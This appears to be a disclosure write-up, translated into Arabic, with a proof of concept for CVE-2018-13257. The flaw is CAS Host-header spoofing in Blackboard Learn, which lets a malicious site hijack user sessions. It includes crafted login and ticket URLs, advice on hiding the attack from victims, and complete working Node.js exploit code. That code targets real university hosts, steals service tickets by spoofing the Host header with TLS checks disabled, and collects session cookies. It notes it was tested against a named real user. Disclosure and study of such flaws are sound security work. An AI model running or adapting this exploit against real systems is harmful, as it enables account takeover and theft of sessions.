
إثبات مفهوم لاستغلال CVE-2018-13257 يوضح انتحال مضيف CAS في Blackboard Learn لاختطاف جلسات المستخدم عبر موقع وسيط ضار.
وحدة مصادقة داخل Blackboard Learn معرّضة لانتحال رأس مضيف HTTP أثناء التحقق من تذكرة الخدمة الخاصة بخدمة المصادقة المركزية (CAS). تذكرة خدمة CAS مخصصة لـخدمة محددة فقط، لكن Blackboard Learn لا يتحقق بشكل صحيح من أن هذه الخدمة هي المثيل الحالي. يتيح هذا هجوم تصيّد حيث يعتقد المستخدمون أنهم يدخلون بيانات تسجيل الدخول الموحّد الخاصة بهم لموقع ويب معيّن، بينما يستخدم هذا الموقع الخبيث تذكرة الخدمة بدلاً من ذلك للمصادقة على مثيل Blackboard Learn بصفته ذلك المستخدم.
سينشئ المهاجم موقع attacker.example من أجل المصادقة كمستخدم آخر
على مثيل Blackboard Learn في blackboard.example، والذي يتحقق
من تذاكر الخدمة عبر cas.example.
تحدث الأحداث التالية عندما يزور المستخدم attacker.example.
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. ومن المرجح
أن يثق بها لأنها شاشة تسجيل الدخول القياسية لمؤسسته على نطاق
موثوق. ستعرض صفحة تسجيل الدخول أنه يتم المصادقة إلى
attacker.example.attacker.example: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example الآن طلب HTTP GET
ضد blackboard.example باستخدام تذكرة الخدمة
ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example التي تم استرجاعها في الخطوة الأخيرة. سيصل
طلب GET إلى blackboard.example برأس مضيف قيمته:
attacker.example: https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example للواجهة الخلفية لموقع attacker.example
بملفات تعريف ارتباط (cookies) تصادق المستخدم الهدف على مثيل Blackboard Learn.إذا كان attacker.example موقع ويب يثق به الأفراد في مؤسسة بشكل منتظم
(مثال: الصفحة الرئيسية للمؤسسة)، فإن اختراق هذا الموقع يعني أن
مثيل Blackboard Learn الخاص بالمؤسسة معرّض أيضاً للاختراق بشكل معقول
بسبب هذه الثغرة.
لتجنب إثارة الشكوك، يمكن لموقع attacker.example إعادة توجيه المستخدم إلى
صفحة تسجيل الدخول sso.example بعد الخطوة 5 وأداء المهام المتوقعة
التي صُمم من أجلها من هناك. سيلاحظ المستخدم أنه
يجب الضغط على "تسجيل الدخول" مرتين، لكن إعادة التوجيه تحدث بسرعة كافية
بحيث لا يمكن للمستخدم أن يكون متأكداً من أنه غادر صفحة تسجيل الدخول
وعاد إليها.
تجدر الإشارة إلى أن CVE-2017-18262 مختلفة عن هذه الثغرة.
CVE-2017-18262 هي ثغرة في التحقق من redirectTo. تتضمن هذه الثغرة
خللاً في معامل service في عنوان URL المرسل إلى نقطة نهاية تسجيل الدخول
المتحققة.
يتطلب استخدام CVE-2017-18262 لسرقة بيانات الاعتماد عبر التصيّد إعداد صفحة
تسجيل دخول تصيّدية تحاكي مظهر cas.example. تحدث هذه الثغرة
مباشرة على cas.example، ولكنها تتطلب أن يزور المستخدم
attacker.example في البداية.
تم اختبار هذا ضد lms.uconn.edu مع brc15007 كمستخدم منتحل.
lms.uconn.edu هو مثيل Blackboard Learn مدار بواسطة Blackboard Inc.
ومستضاف على Amazon Web Services.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}